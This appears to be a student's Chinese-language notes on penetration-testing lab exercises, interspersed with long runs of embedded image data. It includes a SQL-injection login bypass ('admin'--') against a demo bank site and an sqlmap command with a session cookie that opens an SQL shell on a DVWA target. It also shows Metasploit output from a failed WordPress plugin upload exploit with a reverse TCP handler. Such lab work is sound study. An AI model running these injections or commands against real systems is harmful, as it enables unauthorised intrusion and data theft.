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" alt="" />
在http://www.testfire.net/bank/login.aspx中通过构造 admin'-- 的输入,轻松登入。
但是要怎么进一步的获得数据库中的信息呢?我还没搞定。
2、照书本p163做即可
3、wXf下载地址: https://github.com/forced-request/wXf
下载后解压,切换至解压目录下,运行./console,提示
/usr/lib/ruby/2.2./rubygems/core_ext/kernel_require.rb::in `require': cannot load such file -- iconv (LoadError)
由于对ruby不太熟悉,网上的方法也看不太懂,暂且跳过。
4、我选择这个漏洞进行测试 https://www.exploit-db.com/exploits/37182/
然而得到的测试结果为:
[CRITICAL] all tested parameters appear to be not injectable.
不知道是不是后台服务器软件的版本问题。
5、不知道怎么弄。。先跳过
6、通过如下命令成功植入sql shell!
sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; PHPSESSID=7918oeoatnur63rq8bokn88sd2' --sql-shell
aaarticlea/png;base64,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" alt="" />
7、p177
按照提示一步一步来,但是没有成功:
[*] Started reverse TCP handler on 10.10.10.128:
[*] Successfully uploaded shell.
[*] Trying to access shell at <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title> Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/wordpress//wp-content/plugins/1-flash-gallery/upload.php<br />
does not allow request data with POST requests, or the amount of data provided in
the request exceeds the capacity limit.
</body></html>
...
[*] Exploit completed, but no session was created.